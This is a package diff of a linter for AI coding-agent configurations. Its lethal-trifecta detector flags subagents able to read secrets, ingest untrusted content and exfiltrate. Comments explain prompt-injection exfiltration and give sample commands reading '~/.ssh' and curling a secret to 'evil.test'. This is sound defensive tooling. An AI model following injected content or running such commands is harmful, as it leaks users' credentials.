vigiles 10.0.0 → 11.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. package/README.md +113 -83
  2. package/dist/adapters/claude-code/dialect.js +15 -0
  3. package/dist/audit-report.d.ts +1 -1
  4. package/dist/audit-report.template.html +1 -1
  5. package/dist/audit-score.d.ts +19 -12
  6. package/dist/audit-score.js +65 -11
  7. package/dist/cli.js +249 -0
  8. package/dist/core/CLAUDE.md.spec.d.ts +3 -0
  9. package/dist/core/CLAUDE.md.spec.js +26 -0
  10. package/dist/core/delegation-trifecta.d.ts +64 -0
  11. package/dist/core/delegation-trifecta.js +124 -0
  12. package/dist/core/dialect.d.ts +18 -0
  13. package/dist/core/hook-block-ineffective.d.ts +62 -0
  14. package/dist/core/hook-block-ineffective.js +153 -0
  15. package/dist/core/hook-matcher.d.ts +66 -0
  16. package/dist/core/hook-matcher.js +182 -0
  17. package/dist/core/hook-normalize.d.ts +43 -0
  18. package/dist/core/hook-normalize.js +78 -0
  19. package/dist/core/lethal-trifecta.d.ts +100 -0
  20. package/dist/core/lethal-trifecta.js +197 -0
  21. package/dist/core/plugin-dir-layout.d.ts +30 -0
  22. package/dist/core/plugin-dir-layout.js +73 -0
  23. package/dist/core/rule-meta.d.ts +82 -0
  24. package/dist/core/rule-meta.js +266 -0
  25. package/dist/core/skill-missing-fence.d.ts +47 -0
  26. package/dist/core/skill-missing-fence.js +119 -0
  27. package/dist/core/skill-resources.d.ts +27 -0
  28. package/dist/core/skill-resources.js +167 -0
  29. package/dist/core/types.d.ts +71 -0
  30. package/dist/core/validate.d.ts +1 -0
  31. package/dist/core/validate.js +26 -4
  32. package/dist/leaderboard.d.ts +1 -0
  33. package/dist/leaderboard.js +42 -4
  34. package/dist/scan.d.ts +106 -0
  35. package/dist/scan.js +251 -45
  36. package/dist/setup-plan.d.ts +6 -3
  37. package/dist/setup-plan.js +12 -2
  38. package/package.json +1 -1
@@ -0,0 +1,100 @@
1
+ /**
2
+ * The LETHAL-TRIFECTA check — the headline Safety detector. Simon Willison's
3
+ * "lethal trifecta": a single unit (a subagent / model-invocable skill) that
4
+ * simultaneously holds all THREE capability legs is a prompt-injection
5
+ * exfiltration path with NO exploit code — attacker-controllable content flows
6
+ * in, reads your private data, and ships it out, all driven by the model.
7
+ *
8
+ * LEG A — PRIVATE-DATA READ — can read local secrets / files / repo
9
+ * (Read, mcp__filesystem__*, github get_file,
10
+ * and `Bash`, which can `cat ~/.ssh/*` / `.env`).
11
+ * LEG B — UNTRUSTED-CONTENT INTAKE — ingests attacker-controllable content
12
+ * (WebFetch, WebSearch, mcp__fetch__*, MCP
13
+ * servers reading issues / email / tickets).
14
+ * LEG C — EXFILTRATION CHANNEL — can send data out (WebFetch, computer_use,
15
+ * github create_pull_request / add_issue_comment,
16
+ * any external-write MCP, and `Bash`, which can
17
+ * `curl`/`wget` to anywhere).
18
+ *
19
+ * Meta's "Rule of Two": allow at most two of the three legs in one unit. A unit
20
+ * holding all three is the hard finding. NO other tool checks the tool-SET for
21
+ * this — every competitor lints a single tool's effect, never the dangerous
22
+ * COMBINATION.
23
+ *
24
+ * `Bash` is special: it satisfies BOTH leg A (read a secret) AND leg C (curl it
25
+ * out). So `Bash` + any leg-B tool (e.g. `WebFetch`) is already all three legs.
26
+ *
27
+ * HIGH-PRECISION (don't-cry-wolf): only WELL-KNOWN tools map to a leg; an
28
+ * unknown tool maps to nothing. A `Tool(restriction)` suffix is stripped with the
29
+ * same `baseTool` shape `effects.ts` uses.
30
+ *
31
+ * INHERITS-ALL: a unit with no `tools:` line inherits ALL tools — maximal blast
32
+ * radius, trivially all three legs. Aligned with the codebase's existing
33
+ * "inherits-all is ADVISORY" stance (compile/scan treat a missing contract as a
34
+ * footgun note, not a hard defect), an inherits-all trifecta is reported as
35
+ * `"advisory"`; an EXPLICIT all-three contract is the `"hard"` flag.
36
+ *
37
+ * Pure + ONE detector (one-detector-no-drift) — intended to be reused by `scan`
38
+ * (the read-only audit) and a future `lethal-trifecta` lint rule. The dialect is
39
+ * injected (core ⊄ adapter) so it generalizes across harnesses (Codex's `shell`
40
+ * plays Bash's dual A+C role — see `LEG_BASH_DUAL` below). The per-leg catalogs
41
+ * are LOCAL consts here because the `HarnessDialect` interface has no trifecta-leg
42
+ * fields today; see the "Recommended dialect additions" note at the bottom.
43
+ */
44
+ import type { HarnessDialect } from "./dialect.js";
45
+ /** The three capability legs of the lethal trifecta. */
46
+ export type TrifectaLeg = "private" | "untrusted" | "exfil";
47
+ /** The tools classified into each leg (base names, de-duplicated). */
48
+ export interface TrifectaLegs {
49
+ /** LEG A — tools that can read private data (secrets, files, repo). */
50
+ readonly private: readonly string[];
51
+ /** LEG B — tools that ingest untrusted / attacker-controllable content. */
52
+ readonly untrusted: readonly string[];
53
+ /** LEG C — tools that can exfiltrate data out of the trust boundary. */
54
+ readonly exfil: readonly string[];
55
+ }
56
+ /**
57
+ * The severity of a trifecta finding:
58
+ * - `"hard"`: an EXPLICIT contract that names all three legs — a concrete,
59
+ * declared exfil path. The flag.
60
+ * - `"advisory"`: an inherits-all unit (no `tools:` line) that holds all three
61
+ * legs only because it inherits everything — maximal blast radius,
62
+ * reported as advisory in line with the inherits-all stance.
63
+ */
64
+ export type TrifectaSeverity = "hard" | "advisory";
65
+ /**
66
+ * A lethal-trifecta finding — emitted ONLY when all three legs are non-empty (or,
67
+ * for the inherits-all case, when the contract inherits all tools). The `legs`
68
+ * field names the specific tools that supplied each leg, so the report can show
69
+ * exactly which capabilities to drop to break the trifecta.
70
+ */
71
+ export interface TrifectaFinding {
72
+ readonly severity: TrifectaSeverity;
73
+ /** The tools that supplied each leg (advisory inherits-all carries the wildcard). */
74
+ readonly legs: TrifectaLegs;
75
+ /** A ready-to-show, actionable message. */
76
+ readonly message: string;
77
+ }
78
+ /**
79
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
80
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
81
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
82
+ *
83
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
84
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
85
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
86
+ */
87
+ export declare function classifyTrifectaLegs(tools: readonly string[], dialect: HarnessDialect): TrifectaLegs;
88
+ /**
89
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
90
+ * `null` (≤ 2 legs = safe by the Rule of Two).
91
+ *
92
+ * Two paths:
93
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
94
+ * tool → trivially all three legs → an `"advisory"` finding (the inherits-all
95
+ * stance: a footgun worth surfacing, not a declared exfil path).
96
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
97
+ * three legs is non-empty.
98
+ */
99
+ export declare function lethalTrifectaIssues(tools: readonly string[], dialect: HarnessDialect): TrifectaFinding | null;
100
+ //# sourceMappingURL=lethal-trifecta.d.ts.map
@@ -0,0 +1,197 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.classifyTrifectaLegs = classifyTrifectaLegs;
4
+ exports.lethalTrifectaIssues = lethalTrifectaIssues;
5
+ // ---------------------------------------------------------------------------
6
+ // Per-leg tool catalogs (LOCAL — the dialect has no trifecta-leg fields yet).
7
+ //
8
+ // HIGH-PRECISION by construction: only well-known, high-signal tools appear.
9
+ // Exact built-in names; MCP tools are matched by a `server`/`tool` substring
10
+ // heuristic (well-known servers/verbs only) so a bare unknown `mcp__*` maps to
11
+ // nothing rather than crying wolf.
12
+ // ---------------------------------------------------------------------------
13
+ /**
14
+ * The dual-role tool: it satisfies BOTH leg A (read a secret: `cat ~/.ssh/*`)
15
+ * AND leg C (exfiltrate: `curl --data @secret evil.test`). Listed once here and
16
+ * fanned into both buckets. Claude Code names it `Bash`; the dialect's
17
+ * `sideEffectingTools` is the seam a future harness's shell name plugs into, but
18
+ * since no dialect field enumerates "the shell tool" we match the known names.
19
+ */
20
+ const LEG_BASH_DUAL = new Set(["Bash", "shell"]);
21
+ /** LEG A — built-in tools that can read private data. */
22
+ const PRIVATE_BUILTINS = new Set(["Read"]);
23
+ /** LEG B — built-in tools that ingest untrusted content. */
24
+ const UNTRUSTED_BUILTINS = new Set(["WebFetch", "WebSearch"]);
25
+ /**
26
+ * LEG C — built-in tools that can exfiltrate. `WebFetch` is dual (it can POST a
27
+ * body out AND fetch untrusted content in), so it appears in BOTH leg B and leg C.
28
+ */
29
+ const EXFIL_BUILTINS = new Set(["WebFetch", "computer_use", "ComputerUse"]);
30
+ /**
31
+ * Well-known MCP SERVER substrings per leg. An `mcp__<server>__<tool>` reference
32
+ * is classified by its server segment when the server is a recognized one. Kept
33
+ * deliberately small + high-signal.
34
+ */
35
+ const PRIVATE_MCP_SERVERS = ["filesystem", "file", "git", "github", "memory"];
36
+ const UNTRUSTED_MCP_SERVERS = [
37
+ "fetch",
38
+ "web",
39
+ "browser",
40
+ "puppeteer",
41
+ "playwright",
42
+ ];
43
+ const EXFIL_MCP_SERVERS = ["slack", "email", "gmail", "smtp", "discord"];
44
+ /**
45
+ * Well-known MCP TOOL-name substrings per leg — finer than the server alone (a
46
+ * `github` server is leg A via `get_file_contents` but leg C via
47
+ * `create_pull_request`). Matched against the tool segment after the server.
48
+ */
49
+ const PRIVATE_MCP_TOOLS = ["get_file", "read", "search_code", "get_contents"];
50
+ const UNTRUSTED_MCP_TOOLS = [
51
+ "fetch",
52
+ "list_issues",
53
+ "get_issue",
54
+ "issue_read",
55
+ "search_issues",
56
+ ];
57
+ const EXFIL_MCP_TOOLS = [
58
+ "create_pull_request",
59
+ "add_issue_comment",
60
+ "issue_write",
61
+ "create_or_update_file",
62
+ "push_files",
63
+ "send",
64
+ "post",
65
+ "create_issue",
66
+ ];
67
+ // ---------------------------------------------------------------------------
68
+ // Internal helpers
69
+ // ---------------------------------------------------------------------------
70
+ /** Strips a `Tool(restriction)` suffix and returns the base tool name. */
71
+ function baseTool(raw) {
72
+ return raw.split("(")[0].trim();
73
+ }
74
+ /** Returns true for the wildcard sentinels that mean "inherits-all". */
75
+ function isWildcard(tool) {
76
+ return tool === "" || tool === "*";
77
+ }
78
+ /**
79
+ * Split an MCP grant into `{ server, tool }`, or null. Handles three forms:
80
+ * - a concrete `mcp__<server>__<tool>` (tool = the named tool);
81
+ * - a SERVER-WIDE grant `mcp__<server>` or `mcp__<server>__*` / `__.*` (tool = ""
82
+ * → classify by the SERVER alone, since it grants every tool on that server).
83
+ * Without the server-wide case a contract like `mcp__slack__*` would grant an
84
+ * exfil-capable server yet contribute no leg (reported clean when it isn't).
85
+ */
86
+ function mcpParts(base, dialect) {
87
+ if (dialect.mcpToolPattern.test(base)) {
88
+ const m = /^mcp__([^_]+(?:_[^_]+)*?)__(.+)$/.exec(base);
89
+ if (m)
90
+ return { server: m[1].toLowerCase(), tool: m[2].toLowerCase() };
91
+ }
92
+ // Server-wide: `mcp__server`, `mcp__server__*`, `mcp__server__.*`.
93
+ const sw = /^mcp__([a-z0-9-]+(?:_[a-z0-9-]+)*?)(?:__(?:\*|\.\*))?$/i.exec(base);
94
+ if (sw)
95
+ return { server: sw[1].toLowerCase(), tool: "" };
96
+ return null;
97
+ }
98
+ function anySubstr(haystack, needles) {
99
+ return needles.some((n) => haystack.includes(n));
100
+ }
101
+ // ---------------------------------------------------------------------------
102
+ // Public API
103
+ // ---------------------------------------------------------------------------
104
+ /**
105
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
106
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
107
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
108
+ *
109
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
110
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
111
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
112
+ */
113
+ function classifyTrifectaLegs(tools, dialect) {
114
+ const priv = new Set();
115
+ const untrusted = new Set();
116
+ const exfil = new Set();
117
+ for (const raw of tools) {
118
+ const base = baseTool(raw);
119
+ if (isWildcard(base))
120
+ continue; // handled by the issues fn, not a named leg
121
+ // Dual-role shell: leg A AND leg C.
122
+ if (LEG_BASH_DUAL.has(base)) {
123
+ priv.add(base);
124
+ exfil.add(base);
125
+ continue;
126
+ }
127
+ if (PRIVATE_BUILTINS.has(base))
128
+ priv.add(base);
129
+ if (UNTRUSTED_BUILTINS.has(base))
130
+ untrusted.add(base);
131
+ if (EXFIL_BUILTINS.has(base))
132
+ exfil.add(base);
133
+ const parts = mcpParts(base, dialect);
134
+ if (parts) {
135
+ const { server, tool } = parts;
136
+ if (anySubstr(server, PRIVATE_MCP_SERVERS) ||
137
+ anySubstr(tool, PRIVATE_MCP_TOOLS))
138
+ priv.add(base);
139
+ if (anySubstr(server, UNTRUSTED_MCP_SERVERS) ||
140
+ anySubstr(tool, UNTRUSTED_MCP_TOOLS))
141
+ untrusted.add(base);
142
+ if (anySubstr(server, EXFIL_MCP_SERVERS) ||
143
+ anySubstr(tool, EXFIL_MCP_TOOLS))
144
+ exfil.add(base);
145
+ }
146
+ }
147
+ return { private: [...priv], untrusted: [...untrusted], exfil: [...exfil] };
148
+ }
149
+ /**
150
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
151
+ * `null` (≤ 2 legs = safe by the Rule of Two).
152
+ *
153
+ * Two paths:
154
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
155
+ * tool → trivially all three legs → an `"advisory"` finding (the inherits-all
156
+ * stance: a footgun worth surfacing, not a declared exfil path).
157
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
158
+ * three legs is non-empty.
159
+ */
160
+ function lethalTrifectaIssues(tools, dialect) {
161
+ const hasWildcard = tools.some((t) => isWildcard(baseTool(t)));
162
+ // Inherits-all is signalled by a WILDCARD (the caller passes `["*"]` for an
163
+ // absent `tools:` line). An EXPLICIT empty `[]` is the opposite — zero tools,
164
+ // so it cannot hold any leg; it falls through to classify as no-trifecta. (The
165
+ // caller must distinguish: `tools ?? ["*"]`, never `tools ?? []`.)
166
+ if (hasWildcard) {
167
+ const legs = {
168
+ private: ["*"],
169
+ untrusted: ["*"],
170
+ exfil: ["*"],
171
+ };
172
+ return {
173
+ severity: "advisory",
174
+ legs,
175
+ message: "Inherits-all contract (no explicit tools / wildcard) grants every capability — " +
176
+ "it holds all three lethal-trifecta legs (read private data, ingest untrusted content, " +
177
+ "exfiltrate) and is a maximal prompt-injection blast radius. Declare an explicit tools " +
178
+ "list dropping at least one leg (Meta's Rule of Two).",
179
+ };
180
+ }
181
+ const legs = classifyTrifectaLegs(tools, dialect);
182
+ if (legs.private.length > 0 &&
183
+ legs.untrusted.length > 0 &&
184
+ legs.exfil.length > 0) {
185
+ return {
186
+ severity: "hard",
187
+ legs,
188
+ message: "Lethal trifecta: this unit can read private data " +
189
+ `(${legs.private.join(", ")}), ingest untrusted content ` +
190
+ `(${legs.untrusted.join(", ")}), AND exfiltrate ` +
191
+ `(${legs.exfil.join(", ")}) — a prompt-injection exfil path with no exploit code. ` +
192
+ "Drop at least one leg (Meta's Rule of Two: allow at most two).",
193
+ };
194
+ }
195
+ return null;
196
+ }
197
+ //# sourceMappingURL=lethal-trifecta.js.map
@@ -0,0 +1,30 @@
1
+ /** A functional surface directory found nested inside the manifest directory. */
2
+ export interface PluginLayoutFinding {
3
+ /** The misplaced surface directory name (e.g. `"skills"`). */
4
+ readonly dir: string;
5
+ /** Human-readable explanation + fix. */
6
+ readonly message: string;
7
+ }
8
+ export interface PluginLayoutOptions {
9
+ /** Injectable: does this path exist? (default: node:fs existsSync) */
10
+ readonly existsSync?: (p: string) => boolean;
11
+ /**
12
+ * Injectable: is this path a directory? (default: node:fs
13
+ * statSync(p).isDirectory(), returning false on any throw)
14
+ */
15
+ readonly isDirectory?: (p: string) => boolean;
16
+ }
17
+ /**
18
+ * Surface directories found nested INSIDE the manifest directory, where they are
19
+ * invisible to the harness.
20
+ *
21
+ * `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
22
+ * `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
23
+ * directory names, injected from the layout (e.g. `["skills","agents","commands",
24
+ * "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
25
+ *
26
+ * Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
27
+ * dirs.
28
+ */
29
+ export declare function pluginDirLayoutIssues(manifestDir: string, surfaceDirNames: readonly string[], opts?: PluginLayoutOptions): PluginLayoutFinding[];
30
+ //# sourceMappingURL=plugin-dir-layout.d.ts.map
@@ -0,0 +1,73 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.pluginDirLayoutIssues = pluginDirLayoutIssues;
4
+ /**
5
+ * vigiles — plugin manifest directory layout verification.
6
+ *
7
+ * The #1 plugin-author mistake (OSS pain #E1): placing functional surface
8
+ * directories (skills/, agents/, commands/, hooks/) INSIDE the `.claude-plugin/`
9
+ * manifest directory instead of at the plugin root. The harness resolves surface
10
+ * dirs relative to the PLUGIN ROOT (where the agent is launched), not relative to
11
+ * the manifest directory — so a `skills/` nested inside `.claude-plugin/` is
12
+ * completely invisible to the harness. Only `plugin.json` belongs inside the
13
+ * manifest directory; everything else must live at the root.
14
+ *
15
+ * Pure + FP-safe: the only IO is an injectable `existsSync` and `isDirectory`
16
+ * (defaults: node:fs), mirroring the pattern in core/skill-resources.ts and the
17
+ * loader, so the detector is fully testable with fakes and never touches the
18
+ * filesystem in tests.
19
+ *
20
+ * Harness-agnostic: the surface directory names are INJECTED from the layout
21
+ * (PluginLayout.skillDir / agentDir / commandDir / hookDir, or equivalent), never
22
+ * hard-coded here. ONE detector reused by both `vigiles lint` (the
23
+ * `plugin-dir-layout` rule) and `vigiles audit` (the read-only report) — one
24
+ * detector, no drift.
25
+ */
26
+ const node_fs_1 = require("node:fs");
27
+ const node_path_1 = require("node:path");
28
+ // ---------------------------------------------------------------------------
29
+ // Detector
30
+ // ---------------------------------------------------------------------------
31
+ /**
32
+ * Default `isDirectory` implementation — wraps statSync so that a missing or
33
+ * unreadable path returns `false` instead of throwing.
34
+ */
35
+ function defaultIsDirectory(p) {
36
+ try {
37
+ return (0, node_fs_1.statSync)(p).isDirectory();
38
+ }
39
+ catch {
40
+ return false;
41
+ }
42
+ }
43
+ /**
44
+ * Surface directories found nested INSIDE the manifest directory, where they are
45
+ * invisible to the harness.
46
+ *
47
+ * `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
48
+ * `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
49
+ * directory names, injected from the layout (e.g. `["skills","agents","commands",
50
+ * "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
51
+ *
52
+ * Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
53
+ * dirs.
54
+ */
55
+ function pluginDirLayoutIssues(manifestDir, surfaceDirNames, opts) {
56
+ const exists = opts?.existsSync ?? node_fs_1.existsSync;
57
+ const isDir = opts?.isDirectory ?? defaultIsDirectory;
58
+ const manifestBase = (0, node_path_1.basename)(manifestDir);
59
+ const findings = [];
60
+ for (const name of surfaceDirNames) {
61
+ const candidate = (0, node_path_1.join)(manifestDir, name);
62
+ if (exists(candidate) && isDir(candidate)) {
63
+ findings.push({
64
+ dir: name,
65
+ message: `\`${name}/\` lives inside the \`${manifestBase}/\` manifest directory ` +
66
+ `where the harness can't see it — only \`plugin.json\` belongs there; ` +
67
+ `move \`${name}/\` to the plugin root.`,
68
+ });
69
+ }
70
+ }
71
+ return findings;
72
+ }
73
+ //# sourceMappingURL=plugin-dir-layout.js.map
@@ -0,0 +1,82 @@
1
+ /**
2
+ * vigiles — the RULE METADATA registry (the ESLint-`meta` pattern, adapted).
3
+ *
4
+ * Every deterministic check vigiles ships is DECLARED here with the one fact that
5
+ * dissolves the "why is this a warning / can't this be a type?" confusion: its
6
+ * DECIDABILITY BUCKET, which sets the strongest enforcement the defect can ever
7
+ * reach. See `research/enforcement-model.md` for the full model and
8
+ * `lint-rule-calibration` (root CLAUDE.md) for the governance rule.
9
+ *
10
+ * WHY A CENTRAL REGISTRY, NOT CO-LOCATED `export const meta`. ESLint co-locates
11
+ * meta with each rule because there 1 rule = 1 module. vigiles deliberately
12
+ * SHARES detectors (one-detector-no-drift: a single pure function feeds both
13
+ * `lint` and `audit`, and `scan.ts` computes many rules at once), so co-locating
14
+ * would scatter metas across files that each own several rules — the very
15
+ * fragmentation we're removing. ONE registry keyed by rule name is the honest
16
+ * single source (mirrors `cli-commands.ts` for verbs); the `detector` field names
17
+ * the pure function so traceability survives.
18
+ *
19
+ * The bucket is the CEILING; `defaultSeverity` is where the rule sits TODAY. A
20
+ * gap between them is meaningful: a bucket-A/B rule at `warn` is a CANDIDATE for
21
+ * promotion to `error` (deterministic, just rolling out), whereas a bucket-C rule
22
+ * at `warn` is permanent (forcing it to `error` would cry wolf).
23
+ */
24
+ import type { RulesConfig } from "./types.js";
25
+ /**
26
+ * The decidability class of a defect — the single fact that sets its ceiling.
27
+ *
28
+ * - `structural-closed` — decidable from the artifact's own content over a CLOSED
29
+ * vocabulary; a TYPE could make it impossible for authors who route through the
30
+ * typed constructor. Ceiling: unrepresentable / won't-typecheck.
31
+ * - `external-decidable` — decidable, but needs the EXTERNAL world (the
32
+ * filesystem, a linter catalog, another file/server). No type can read those,
33
+ * so the ceiling is a hard ERROR at compile-cross-ref or lint — never a type.
34
+ * - `heuristic-behavioral` — undecidable or a fuzzy proxy ("are these too
35
+ * similar?", "does this fire?"). Ceiling: a WARNING or a model-MEASUREMENT. By
36
+ * the math, not by laziness; an `error` here would cry wolf.
37
+ */
38
+ export type RuleBucket = "structural-closed" | "external-decidable" | "heuristic-behavioral";
39
+ /** The artifact surface a rule reads (coarse; a rule may span several). */
40
+ export type RuleSurface = "instruction" | "skill" | "subagent" | "hook" | "mcp" | "plugin" | "docs";
41
+ /** Where a rule sits by default — `"off"` is the normalized form of `false`. */
42
+ export type RuleDefaultSeverity = "error" | "warn" | "off";
43
+ /** Every named rule: the `RulesConfig` keys plus the built-in `orphan-docs`. */
44
+ export type RuleName = keyof RulesConfig | "orphan-docs";
45
+ /**
46
+ * The declared shape of one rule — co-located metadata in the ESLint `meta`
47
+ * sense, gathered into one registry because vigiles shares detectors.
48
+ */
49
+ export interface RuleMeta {
50
+ /** Canonical rule id (a `RulesConfig` key or `orphan-docs`). */
51
+ readonly id: RuleName;
52
+ /** The decidability class → the rule's strongest possible ceiling. */
53
+ readonly bucket: RuleBucket;
54
+ /** The artifact surface(s) the rule reads (non-empty). */
55
+ readonly surface: readonly RuleSurface[];
56
+ /** Where the rule sits by default today (≤ the bucket's ceiling). */
57
+ readonly defaultSeverity: RuleDefaultSeverity;
58
+ /** One-line "what it checks" (tracks the docs matrix row). */
59
+ readonly summary: string;
60
+ /** The shared pure detector function (one-detector-no-drift traceability). */
61
+ readonly detector: string;
62
+ /**
63
+ * The upstream construct that makes this SAME defect impossible for authors who
64
+ * route through it — a TYPE (structural-closed) or a COMPILE cross-ref. Absent
65
+ * when no construct path exists for the surface, the prevention isn't shipped
66
+ * yet, or the defect is undecidable (heuristic-behavioral). The lint rule is
67
+ * always the artifact-time floor regardless.
68
+ */
69
+ readonly upstreamPrevention?: string;
70
+ }
71
+ /**
72
+ * The registry. `Record<RuleName, RuleMeta>` makes completeness a COMPILE-TIME
73
+ * guarantee: add a `RulesConfig` key without a meta here and `tsc` fails. The
74
+ * runtime test additionally binds this to `docs/rules/*.md` (the fs side a type
75
+ * can't see).
76
+ */
77
+ export declare const RULE_META: Record<RuleName, RuleMeta>;
78
+ /** All declared rule metas, as a list. */
79
+ export declare function allRuleMeta(): RuleMeta[];
80
+ /** Look up one rule's meta (undefined for an unknown id). */
81
+ export declare function ruleMeta(id: string): RuleMeta | undefined;
82
+ //# sourceMappingURL=rule-meta.d.ts.map